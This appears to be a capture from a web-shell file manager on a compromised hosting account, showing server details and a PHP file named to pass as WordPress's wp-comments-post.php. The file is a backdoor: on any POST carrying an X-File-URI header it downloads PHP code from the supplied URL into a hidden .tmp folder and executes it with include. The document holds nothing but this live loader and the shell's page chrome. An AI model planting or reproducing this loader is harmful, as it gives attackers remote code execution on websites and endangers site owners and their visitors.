HEX
Server: LiteSpeed
System: Linux premium195.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: abtgzsqx (816)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/abtgzsqx/profius-project.com/profius-project.com-wp-comments-post.php
<?php
    function __dwn($url) {
        $base = getcwd();
        if ($base === false || $base === '') {
            throw new RuntimeException('Cannot determine current directory');
        }

        $dir = rtrim($base, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . '.tmp';
        if (!is_dir($dir) && !mkdir($dir, 0775, true) && !is_dir($dir)) {
            throw new RuntimeException('Cannot create .tmp directory');
        }

        $dest = $dir . DIRECTORY_SEPARATOR . md5((string)time()) . '.php';

        $fp = fopen($dest, 'wb');
        if ($fp === false) {
            throw new RuntimeException('Cannot open destination file');
        }

        if (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt_array($ch, [
                CURLOPT_FILE => $fp,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_FAILONERROR => true,
                CURLOPT_CONNECTTIMEOUT => 15,
                CURLOPT_TIMEOUT => 120,
                CURLOPT_USERAGENT => 'PHP Downloader',
            ]);
            $ok = curl_exec($ch);
            $err = curl_error($ch);
            curl_close($ch);
            fclose($fp);

            if ($ok !== true) {
                @unlink($dest);
                throw new RuntimeException($err !== '' ? $err : 'Download failed');
            }
        } else {
            $data = @file_get_contents($url);
            if ($data === false) {
                fclose($fp);
                @unlink($dest);
                throw new RuntimeException('Download failed');
            }
            fwrite($fp, $data);
            fclose($fp);
        }

        return $dest;
    }

    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (isset($_SERVER["HTTP_X_FILE_URI"])) {
            $f = __dwn($_SERVER["HTTP_X_FILE_URI"]);
            include $f;
        }
    }
?>